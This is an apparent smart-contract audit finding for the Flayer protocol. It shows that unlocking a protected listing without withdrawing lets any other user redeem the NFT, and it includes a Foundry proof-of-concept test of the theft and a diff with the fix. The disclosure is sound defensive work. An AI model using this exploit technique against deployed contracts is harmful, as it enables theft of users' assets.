Clean Snowy Mustang

High

# Unlocked protected listing asset can be redeemed by any other user

## Summary
Unlocked protected listing asset can be redeemed by any other user.

## Vulnerability Detail

When a user unlocks a protected listing, they can choose not to receive the asset right away.

[ProtectedListings.sol#L278-L287](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L278-L287):
```solidity
    /**
     * The amount of tokens taken are returned, as well as a fee. The recipient can also
     * opt to leave the asset inside the contract and withdraw at a later date by calling
     * the `withdrawProtectedListing` function.
     *
     * @param _collection The address of the collection to unlock from
     * @param _tokenId The token ID to unlock
@>   * @param _withdraw If the user wants to receive the NFT now
     */
    function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
```

The user can call [withdrawProtectedListing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341) to withdraw the asset anytime they like, protocol ensures only the asset owner can withdraw.

[ProtectedListings.sol#L341-L352](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341-L352):
```solidity
    function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
        // Ensure that the asset has been marked as withdrawable
@>    address _owner = canWithdrawAsset[_collection][_tokenId];
@>      if (_owner != msg.sender) revert CallerIsNotOwner(_owner);

        // Mark the asset as withdrawn
        delete canWithdrawAsset[_collection][_tokenId];

        // Transfer the asset to the user
        locker.withdrawToken(_collection, _tokenId, msg.sender);
        emit ListingAssetWithdraw(_collection, _tokenId);
    }
```

Unfortunately, a malicious user can bypass this restriction and redeem the asset from Locker. The culprit is that protocol deletes the listing object despite user choose to withdraw later.

[ProtectedListings.sol#L313-L314](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L313-L314)
```solidity
        // Delete the listing objects
        delete _protectedListings[_collection][_tokenId];
```

Please run the PoC in ProtectedListings.t.sol to verify:
```solidity
    function testAudit_WithdrawProtected() public {
        ICollectionToken collectionToken = locker.collectionToken(address(erc721a));

        address alice = makeAddr("Alice");
        erc721a.mint(alice, 888);

        IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
        _listings[0] = IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(888),
            listing: IProtectedListings.ProtectedListing({
                owner: payable(alice),
                tokenTaken: 0.2 ether,
                checkpoint: 0
            })
        });

        vm.startPrank(alice);
        erc721a.approve(address(protectedListings), 888);
        collectionToken.approve(address(protectedListings), type(uint256).max);

        // Alice creates a protected listing
        protectedListings.createListings(_listings);

        // Alice unlocks the protected listing
        protectedListings.unlockProtectedListing(address(erc721a), 888, false);
        vm.stopPrank();


        address bob = makeAddr("Bob");
        mintCollectionTokens(address(erc721a), bob, 1, 1);

        // Bob redeems the item
        vm.startPrank(bob);
        collectionToken.approve(address(locker), type(uint256).max);
        locker.redeem(address(erc721a), _tokenIdToArray(888));
        vm.stopPrank();

        // Bob owns the item now
        assertEq(erc721a.ownerOf(888), bob);
    }
```

## Impact

User's unlocked asset can be withdrawn by anyone else.

## Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L314

## Tool used

Manual Review

## Recommendation

If user choose to withdraw later, do not delete the listing object.

[ProtectedListings.sol#L313-L322](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L313-L322):
```diff
-       // Delete the listing objects
-       delete _protectedListings[_collection][_tokenId];

        // Transfer the listing ERC721 back to the user
        if (_withdraw) {
+           // Delete the listing objects
+           delete _protectedListings[_collection][_tokenId];
            locker.withdrawToken(_collection, _tokenId, msg.sender);
            emit ListingAssetWithdraw(_collection, _tokenId);
        } else {
            canWithdrawAsset[_collection][_tokenId] = msg.sender;
        }
```

Delete the listing object when user actually withdraws.

[ProtectedListings.sol#L341-L352](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341-L352):
```diff
    function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
        // Ensure that the asset has been marked as withdrawable
        address _owner = canWithdrawAsset[_collection][_tokenId];
        if (_owner != msg.sender) revert CallerIsNotOwner(_owner);

+       // Delete the listing objects
+       delete _protectedListings[_collection][_tokenId];

        // Mark the asset as withdrawn
        delete canWithdrawAsset[_collection][_tokenId];

        // Transfer the asset to the user
        locker.withdrawToken(_collection, _tokenId, msg.sender);
        emit ListingAssetWithdraw(_collection, _tokenId);
    }
```